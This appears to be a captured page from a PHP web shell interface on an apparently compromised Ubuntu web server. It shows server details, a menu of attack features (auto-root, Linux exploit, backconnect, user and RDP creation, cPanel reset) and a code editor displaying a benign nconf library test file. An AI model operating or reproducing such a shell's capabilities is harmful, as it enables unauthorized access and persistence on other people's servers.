Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
node_modules /
nconf /
test /
[ HOME SHELL ]
Name
Size
Permission
Action
fixtures
[ DIR ]
drwxrwxr-x
mocks
[ DIR ]
drwxrwxr-x
stores
[ DIR ]
drwxrwxr-x
common-test.js
886
B
-rw-rw-r--
complete-test.js
3.65
KB
-rw-rw-r--
helpers.js
1.73
KB
-rw-rw-r--
hierarchy-test.js
3.49
KB
-rw-rw-r--
nconf-test.js
3.9
KB
-rw-rw-r--
provider-save-test.js
934
B
-rw-rw-r--
provider-test.js
5.87
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : nconf-test.js
/* * file-store-test.js: Tests for the nconf File store. * * (C) 2011, Nodejitsu Inc. * */ var fs = require('fs'), path = require('path'), vows = require('vows'), assert = require('assert'), nconf = require('../lib/nconf'), data = require('./fixtures/data').data; vows.describe('nconf').addBatch({ "When using the nconf": { "should have the correct methods set": function () { assert.isFunction(nconf.key); assert.isFunction(nconf.path); assert.isFunction(nconf.use); assert.isFunction(nconf.get); assert.isFunction(nconf.set); assert.isFunction(nconf.clear); assert.isFunction(nconf.load); assert.isFunction(nconf.save); assert.isFunction(nconf.reset); }, "the use() method": { "should instaniate the correct store": function () { nconf.use('memory'); nconf.load(); assert.instanceOf(nconf.stores['memory'], nconf.Memory); } }, "it should": { topic: function () { fs.readFile(path.join(__dirname, '..', 'package.json'), this.callback); }, "have the correct version set": function (err, data) { assert.isNull(err); data = JSON.parse(data.toString()); assert.equal(nconf.version, data.version); } } } }).addBatch({ "When using the nconf": { "with the memory store": { "the set() method": { "should respond with true": function () { assert.isTrue(nconf.set('foo:bar:bazz', 'buzz')); } }, "the get() method": { "without a callback": { "should respond with the correct value": function () { assert.equal(nconf.get('foo:bar:bazz'), 'buzz'); } }, "with a callback": { topic: function () { nconf.get('foo:bar:bazz', this.callback); }, "should respond with the correct value": function (err, value) { assert.equal(value, 'buzz'); } } } } } }).addBatch({ "When using the nconf": { "with the memory store": { "the get() method": { "should respond allow access to the root": function () { assert(nconf.get(null)); assert(nconf.get(undefined)); assert(nconf.get()); } }, "the set() method": { "should respond allow access to the root and complain about non-objects": function () { assert(!nconf.set(null, null)); assert(!nconf.set(null, undefined)); assert(!nconf.set(null)); assert(!nconf.set(null, '')); assert(!nconf.set(null, 1)); var original = nconf.get(); assert(nconf.set(null, nconf.get())); assert.notEqual(nconf.get(), original); assert.deepEqual(nconf.get(), original) } } } } }).addBatch({ "When using nconf": { "with the memory store": { "the clear() method": { "should respond with the true": function () { assert.equal(nconf.get('foo:bar:bazz'), 'buzz'); assert.isTrue(nconf.clear('foo:bar:bazz')); assert.isTrue(typeof nconf.get('foo:bar:bazz') === 'undefined'); } }, "the load() method": { "without a callback": { "should respond with the merged store": function () { assert.deepEqual(nconf.load(), { title: 'My specific title', color: 'green', movie: 'Kill Bill' }); } }, "with a callback": { topic: function () { nconf.load(this.callback.bind(null, null)); }, "should respond with the merged store": function (ign, err, store) { assert.isNull(err); assert.deepEqual(store, { title: 'My specific title', color: 'green', movie: 'Kill Bill' }); } } } } } }).export(module);
Close